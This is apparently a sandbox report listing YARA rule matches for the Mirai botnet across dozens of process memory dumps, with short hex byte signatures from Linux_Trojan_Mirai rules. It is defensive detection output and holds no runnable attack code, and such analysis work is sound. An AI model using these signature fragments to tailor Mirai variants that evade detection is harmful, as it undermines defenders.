7135.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7135.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7135.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7135.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7135.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6476.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6476.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6476.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6476.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6476.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6476.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7141.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7141.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7141.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7141.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7141.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7141.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6653.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6653.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6653.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6653.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6653.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6653.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6787.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6787.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6787.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6787.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6787.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6787.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6767.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6767.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6767.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6767.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6767.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6767.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6703.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6703.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6703.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6703.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6703.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6703.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7086.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7086.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7086.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7086.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7086.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7086.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7083.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7083.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7083.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7083.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7083.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7083.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6694.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6694.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6694.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6694.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6694.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6694.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7097.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7097.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7097.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7097.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7097.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7097.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6418.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7072.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7072.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7072.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7072.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7072.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7072.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6418.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6418.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6418.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6418.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6418.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6998.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6998.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6998.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6998.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6998.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6998.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7175.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7175.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7175.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7175.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7175.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7175.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7111.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7111.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7111.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7111.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7111.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7111.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6845.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6845.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6845.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6845.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6845.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6845.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6783.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6783.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6783.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6783.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6783.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6783.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6817.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6990.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6990.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6990.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6332.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6332.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6332.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6332.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6332.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6332.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6990.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6990.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6990.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7050.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6551.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6551.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6551.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6551.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6551.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6551.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7411.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7411.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7411.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7411.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7411.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7411.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7089.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7089.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7089.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7089.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7089.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7089.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6899.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6899.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6899.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6899.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6899.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6899.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7266.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7266.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7266.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7266.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7266.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7266.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6839.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6839.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6839.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6839.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6839.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6839.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7004.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6473.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6473.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6473.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6473.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6473.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6473.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6670.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6670.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6670.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6670.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6670.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
